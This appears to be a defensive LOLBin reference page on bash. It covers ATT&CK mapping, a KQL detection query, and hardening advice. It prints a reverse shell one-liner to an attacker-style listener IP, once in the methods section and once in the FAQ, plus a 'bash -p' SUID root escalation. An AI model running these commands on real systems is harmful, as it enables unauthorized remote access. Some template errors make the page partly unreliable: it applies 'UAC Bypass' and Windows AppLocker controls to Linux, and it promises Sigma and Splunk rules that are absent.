>bash

The GNU Bourne Again SHell (bash) is the default interactive shell on most Linux distributions. Abused for spawning interactive reverse TCP shells, executing encoded base64 commands, and privilege escalation.

Default Executable Paths

/bin/bash
/usr/bin/bash

Integrity & Metadata

Original Name: bash
File Version: GNU bash
Category Count: 2 weaponized patterns
Forensics & Triage Insight

Linux pseudo-device /dev/tcp allows pure bash network sockets without requiring netcat or socat.

Detection Engineering Notes

Look for /dev/tcp syntax in bash command lines or suspicious parent processes such as www-data/apache2 or nginx spawning bash.

Executive Summary & AI Quick Reference

High-Fidelity Telemetry Profile

bash is a native utility pre-installed on Linux systems. Threat actors and red teams abuse bash as a Living-off-the-Land Binary (LOLBin) to achieve Execute, UAC Bypass without triggering traditional antivirus file-hash alerts. Legitimate system administrators use it for routine administration, making behavioral command-line telemetry essential for differentiation.

Primary Abused Tactics
Execute, UAC Bypass
Minimum Privilege
User
Key Telemetry Source
auditd EXECVE
ATT&CK Mapping
T1059.004, T1071

Weaponized Parameters & Proof-of-Concepts

Documented attack commands, parameter flags, and privilege prerequisites.

2 documented methods
Filter Purpose:
ExecutePrivileges: User
T1059.004: Unix Shell

Spawns an interactive bash reverse shell connected over TCP to a remote attacker listener.

bash -i >& /dev/tcp/10.10.14.5/4444 0>&1
UAC BypassPrivileges: Root
T1548.001: Setuid and Setgid

Runs bash with preserved effective root UID when bash has SUID bit enabled, granting immediate root access.

bash -p

SIEM & EDR Detection Rules

Production telemetry rules configured for Microsoft Defender, Sigma, and Splunk.

Telemetry & SIEM Detection Suite (bash)

Validated against MITRE T1059.004, T1071
bash Microsoft Defender Querykql
1DeviceProcessEvents
2| where FileName in~ ("bash", "sh", "dash")
3| where ProcessCommandLine has "/dev/tcp/" or ProcessCommandLine has "/dev/udp/"
4| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLine

Mitigation, Hardening & Prevention

Recommended defensive controls to block or constrain bash abuse.

Application Whitelisting

Audit and remove unnecessary SUID / SGID bits (`chmod u-s /path/to/$bash`) and restrict sudoers NOPASSWD execution grants.

Attack Surface Reduction

Implement AppArmor or SELinux profiles restricting bash network socket creation and read access to sensitive user directories.

Behavioral Alerting

Deploy the KQL, Sigma, and Splunk detection queries below. Alert on anomalous child processes, web requests to unrated external IPs, or encoded payload strings.

Frequently Asked Questions (FAQ) • bash

Key operational questions and defensive answers about bash LOLBin tradecraft.

What is bash and why is it classified as a LOLBin?

bash is a legitimate, pre-installed or trusted utility on Linux. It is classified as a Living-off-the-Land Binary (LOLBin) because adversaries abuse its built-in functionality to perform malicious operations—such as Execute, UAC Bypass—without dropping custom malware binaries on disk.

How do threat actors abuse bash in cyber intrusions?

Adversaries leverage bash to execute stealthy actions while evading signature-based security controls. For example, attackers execute commands like "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1" to achieve Execute, UAC Bypass, masquerading behind legitimate system process lineage.

How can SOC analysts detect suspicious bash activity?

Detection engineers monitor process creation events (Windows Event ID 4688 or Sysmon Event ID 1; Linux auditd EXECVE; macOS Endpoint Security) inspecting anomalous command line arguments, unusual parent-child process relationships (e.g. Office apps or web servers spawning bash), and unexpected network connections.

What MITRE ATT&CK techniques does bash map to?

bash maps to MITRE ATT&CK technique(s): T1059.004, T1071. These techniques cover adversary actions across tactics such as Defense Evasion, Execution, Persistence, and Command and Control.

How can organizations mitigate and restrict bash?

Mitigation strategies include implementing Application Control policies (AppLocker or Windows Defender Application Control - WDAC), enforcing Attack Surface Reduction (ASR) rules, configuring strict privilege separation (disallowing standard users from running sensitive switches), and alerting on execution from non-standard directories.

Sharon Ben Moshe
Curated & Verified by
Sharon Ben Moshe
Cybersecurity Researcher & Detection EngineerCheck Point